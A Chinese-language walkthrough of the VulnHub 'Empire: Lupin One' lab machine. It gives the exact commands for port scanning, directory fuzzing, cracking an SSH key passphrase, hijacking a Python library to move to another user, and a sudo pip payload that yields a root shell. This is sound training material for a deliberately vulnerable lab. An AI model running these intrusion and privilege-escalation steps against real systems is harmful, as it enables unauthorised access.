今天实践的是vulnhub的Empire镜像,
下载地址,https://download.vulnhub.com/empire/01-Empire-Lupin-One.zip,用workstation导入成功,直接就能看到靶机地址,
进行端口扫描,sudo nmap -sS -sV -T5 -A -p- 192.168.137.177,
看到有~myfiles的目录,浏览器访问看看,
由于在页面源码中看到提示,那就接着进行fuzz,看还有哪些其它目录,
首先安装爆破需要用的字典,sudo apt install seclists,
fuzz,sudo ffuf -c -w /usr/share/seclists/Discovery/Web-Content/common.txt -u 'http://192.168.137.177/~FUZZ',
得到一个secret目录,浏览器访问看看,
得到提示,存在隐藏文件,ssh private key file,以及能用fasttrack爆破出来的字符串,还有用户icex64,
继续fuzz隐藏文件,sudo ffuf -c -ic -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u 'http://192.168.137.177/~secret/.FUZZ' -fc 403 -e .txt,.html,
得到mysecret.txt文件,浏览器访问看看,
根据经验,这是base58编码的,从网上随便搜个在线解码站点,
把解码出来的内容保存到sshkey,
从sshkey中提取hash,sudo ssh2john sshkey > hash,
再对hash进行爆破,sudo john --wordlist=/usr/share/wordlists/fasttrack.txt hash,得到了字符串,P@55w0rd!,
这就可以用账号密码icex64/P@55w0rd!进行ssh登录了,
sudo ssh -i sshkey [email protected],
id看一下不是root,需要提权,sudo -l看一下,
发现/home/arsene/heist.py可被/usr/bin/python3.9以arsene用户执行,
查看/home/arsene/heist.py内容,发现使用了webbrowser库,
找到webbrowser库文件,/usr/lib/python3.9/webbrowser.py,
编辑/usr/lib/python3.9/webbrowser.py,添加os.system ("/bin/bash"),
以arsene用户执行,
sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py,
得到arsene用户的shell,继续sudo -l,发现pip是root用户执行的,
去gtfobins上搜一下pip的提权方法,
开始提权,TF=$(mktemp -d),
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py,
sudo pip install $TF,得到新的shell,id看一下确认是root,
原文始发于微信公众号(云计算和网络安全技术实践):vulnhub之Empire的实践
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论